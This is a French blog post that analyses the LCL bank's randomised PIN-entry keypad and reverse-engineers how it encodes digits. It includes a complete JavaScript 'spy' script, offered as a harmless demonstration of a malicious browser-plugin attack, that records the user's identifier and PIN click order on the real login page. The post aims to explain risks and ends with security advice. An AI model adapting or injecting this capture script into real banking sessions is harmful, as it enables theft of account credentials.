[LCL] Comment les formulaires aléatoires de saisie de code sont inefficaces

 

Souvent l'utilisateur a besoin d'avoir du visuel pour se sentir "rassuré".
La sécurité n'étant malheureusement pas quelques choses de vraiment "visible", tout le petit monde technologique essaie de son côté de mettre en place du visuel pour "rassurer" l'utilisateur.

La coloration du https en est un exemple

Le formulaire aléatoire de saisie de code, qui change tout le temps en est un autre ...

 

 

Bien entendue, je ne dénigre pas, je constate.
Et ça n'est pas spécialement une mauvaise chose.

 

LCL, une très bonne sécurité ...

Pour cette explication, j'ai dû faire pas mal de rétro-engineering.
Ce qui je l’espère, vous permettra de comprendre comment je réfléchis en général pour vous trouver des petits "trucs et astuces"

Bien entendu, ça pourra probablement vous paraître un peu complexe, et si vous le souhaitez, vous pourrez partir directement sur le deuxième "chapitre", qui est beaucoup plus ludique

D'autant que concernant le LCL, la sécurité mise en place est plutôt pas mal.
Ce joli tableau de numéro que vous voyez ci-dessus, n'est qu'une image !


Lorsque vous allez cliquer sur les "boutons" ...
Le petit champ à côté, va se remplir ... mais de quoi exactement ?
Tout simplement de petites "*".
Et je ne parle pas seulement d'affichage, il contiendra vraiment des étoiles ...

 

 

Le véritable endroit où sera "stocké" votre "code", est indiqué par une flèche bleue.
Mais là encore, ça n'est pas vraiment le chiffre affiché qui sera stocké ....

 

Après avoir saisi "0000", j'obtiens "04040404"
Alors à quoi correspond cette suite de "04" ?

Comme je vous l'ai expliqué, ce tableau de numéro est une image, et donc lorsque vous cliquez sur les numéros, vous ne cliquez pas vraiment sur l'image, mais sur des petites zones bien définies.
Ces zones sont des "area". Aussi lorsque je survole chacun des "numéros", je constate, que je suis sur une "area", et en explorant le code source, je repère donc le code qui va récupérer notre 04.
Chacun de nos "boutons" détient un "id", le LCL découpe cet "id" en utilisant le caractère "_"

Ainsi, notre "numéro" (area) "0" correspond à l'id "idImageClavier_04", en  le découpant avec le caractère "_", nous obtenons "idImageClavier" et ... tada ... notre 04 

 

Pour l'instant la plupart du code javascript se trouve dans le fichier (https://particuliers.secure.lcl.fr/SCUW/javascript/clavier.js)

Notre code "0000" devenu "04040404" passe alors dans une moulinette qui va encore une fois le transformer.

Mais pour ce qui arrive ensuite, nous n'aurons pas à aller farfouiller dans x ou y fichiers Javascript.
Tout sera dans le code source principale de la page ...

La fameuse moulinette dont je vous parle se trouve ici :

Et du coup ... notre "04040404" va devenir ...

Résultat des courses, lorsque vous vous connecterez c'est bel et bien cette "mixture" qui sera envoyé et "décodé" par le LCL ...

Ainsi donc, à aucun endroit, n’apparaît notre code, même pas dans une variable.
Et pour qu'un attaquant puisse le décoder, il lui faudrait l'image du tableau de chiffre ... le chiffre aléatoire, et la "mixture" de notre code ...

Pour la mixture du code et le chiffre aléatoire, il suffit simplement de briser le https ... (bon courage ;) )
Et pour l'image ... celle-ci change tout le temps, dès que vous cliquez sur le lien, hop c'est une nouvelle image !

https://particuliers.secure.lcl.fr/outil/UAUT/Clavier/creationClavier?random=630113148753664800000

 

Ce qui veut dire que ça sera compliqué d’intercepter une image, sans que celle-ci ne change  ^^
C'est là que nous pouvons dire stop ... où continuer ^^
Mais c'est là aussi, qu'il faut se demander s'il n'y a pas plus simple pour récupérer ces précieux identifiants ?

 

Une attaque par plugin, ou par accès physique ...

Il n'est pas impossible que vous  soyez tenté d'installer pour X ou Y raisons un super plugin à votre navigateur qui fera pour vous le café ...
Mais parfois certains de ces plugins n'ont pas vocation de vous aider, et sont plutôt du genre nuisible ...
Ils peuvent par exemple injecter un script malicieux dans votre page ...
Un script qui ferait une capture de toute une page, ou d'une zone précise ...
Un script qui n'aurait pas besoin de déchiffrer le code complexe du LCL, mais qui travaillerait plutôt comme  un photographe de votre écran ...
Voici donc un code "malicieux" de démonstration.
Celui-ci est parfaitement "inoffensif.
Il va capturer à la volée vos identifiants, et le code que vous aurez saisi, en indiquant l'ordre des clics par des numéros (1,2,3,4 ...)

 

var LCL_PIN_ESPION = function(){
	var d = document, 
	cv 			= d.createElement('canvas'),
	div 		= d.createElement('div'),
	pics 		= d.getElementById("idImageClavier"),
	spycvs 		= d.getElementById('canvas_espion'),
	mapsarea 	= d.getElementsByTagName('area'),
	validBut 	= d.getElementsByClassName('validerClavier'),
	cancelBut 	= d.getElementById('ResetClavier_idImageClavier'),
	validateForms =  function(cv){
		document.location="data:text/html,You've beeen Powned ... Id : "+
		d.getElementById('identifiantIdForm').value+
		"<br /><img src="+cv.toDataURL()+">"; 
	};
	div.appendChild(cv);
	div.setAttribute('id'	, 'canvas_espion');
	cv.setAttribute('width'	, pics.offsetWidth);
	cv.setAttribute('height', pics.offsetHeight);
	div.setAttribute('style', 'position:fixed;top:50%;left:2%;visibility:hidden');
	cancelBut.removeEventListener('click', 	LCL_PIN_ESPION);
	cancelBut.addEventListener('click', 	LCL_PIN_ESPION);
	for (var i in validBut){
	if (!validBut[i].removeEventListener)continue;
		validBut[i].removeEventListener('click'	, validateForms.bind(null, cv));
		validBut[i].addEventListener('click'	, validateForms.bind(null, cv));
	};
	d.getElementsByTagName('html')[0].appendChild(div);
	if (spycvs) spycvs.parentNode.removeChild(spycvs);
	ctx = cv.getContext('2d');
	ctx.drawImage(pics, 0, 0);
	for (var i in mapsarea){
		if (!mapsarea[i].addEventListener) continue;
		mapsarea[i].addEventListener('click', function(e){
			var ptop = e.offsetY, pleft = e.offsetX-10;
			ctx.font = "12px Arial";
			ctx.fillStyle = 'red';
			ctx.fillText(d.getElementById('CodeId').value.length,pleft, ptop);
		});
	};
};
LCL_PIN_ESPION();

 

Code que vous pouvez tester en le copiant, collant dans votre url et en le pré-fixant d'un "javascript:"

Où en le copiant directement dans la console développeur de votre navigateur (F12).

Remplissez ensuite n'importe quoi comme "identifiant", et comme "code"

Et validez !

Vous devriez voir apparaître ceci :

Si vous êtes bon, vous verrez que j'ai saisi le code "137706"

 

Conclusion

 

La plateforme LCL est plutôt bien sécurisée.
Cependant la faille n'est pas toujours la plateforme, mais son utilisateur ...
Comme je le dis souvent, tout ce qui peut être fait à la main, doit l'être ...
Les plugins, logiciels qui vous automatisent tout sont néfastes ...
Ne laissez jamais votre ordinateur non verrouillé et ou sans surveillance.

 

 

 

 

 

 

 

 

 

Partagez ce contenu

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *